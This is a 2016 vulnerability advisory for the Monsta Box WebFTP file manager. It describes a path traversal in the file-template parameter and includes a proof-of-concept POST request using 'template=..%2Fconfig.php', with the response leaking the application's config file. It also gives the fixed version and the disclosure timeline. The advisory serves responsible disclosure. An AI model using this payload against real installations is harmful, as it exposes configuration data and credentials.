Application
-----------
"MONSTA Box is a lightweight open-source file manager you can install on
your website or server * to easily manage your files through any browser."
(Description from the official website http://www.monstahq.com/)
Vulnerability
-------------
The Monsta Box WebFTP application supports file templates when creating
new files. The template parameter is part of the HTTP request so it is a
user input and it was not sanitized correctly. By sending a HTTP request
with modified template parameter it was possible to traverse the
template directory and read arbitrary files (in context of the Monsta
Box WebFTP application).
PoC
---
A proof of concept request/response to read the config.php file of the
Monsta Box installation (note the template parameter of the HTTP request):
POST /? HTTP/1.1
Host: somehost
Referer: http://somereferer/
Content-Length: 352
Cookie: PHPSESSID=somecookie
&ftpAction=newFile&=Refresh&=Download&=Cut&=Copy&=Paste&=Rename&=Delete&=Logout&newFile=xxx&template=..%2Fconfig.php&=OK&=Cancel&=~&=&folderAction[]=&folderAction[]=&folderAction[]=&folderAction[]=&folderAction[]=&folderAction[]=&folderAction[]=&=New%20Folder&=New%20File&=Fetch%20File&=Upload%20Files&=Repeat%20Upload&windowWidth=1280&windowHeight=913
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 27 Mar 2016 19:34:21 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
1cac
<div id="blackOutDiv"><div id="popupFrame" style="left: 110px; top:
60px; width: 1030px;"><div id="popupHeaderAction">Editing:
/xxx</div><div id="popupBodyAction" style="height: 693px;"><input
type="hidden" name="file" value="~/xxx"><textarea name="editContent"
id="editContent" style="height: 608px;"><?php
# Open README file for descriptions and help.
$ftpHost = "somehost";
$ftpPort = "21";
...
Affected versions
-----------------
The above vulnerability was fixed in version 1.8.3. Older versions of
Monsta Box with template support are vulnerable.
Timeline
--------
2016-03-29: Vendor contacted for appropriate contact person to report to
2016-03-30: Vulnerability was reported
2016-03-31: Fixed version was published
2016-04-07: Public disclosure
Discovered by
-------------
Imre RAD
www.search-lab.hu
www.scademy.com
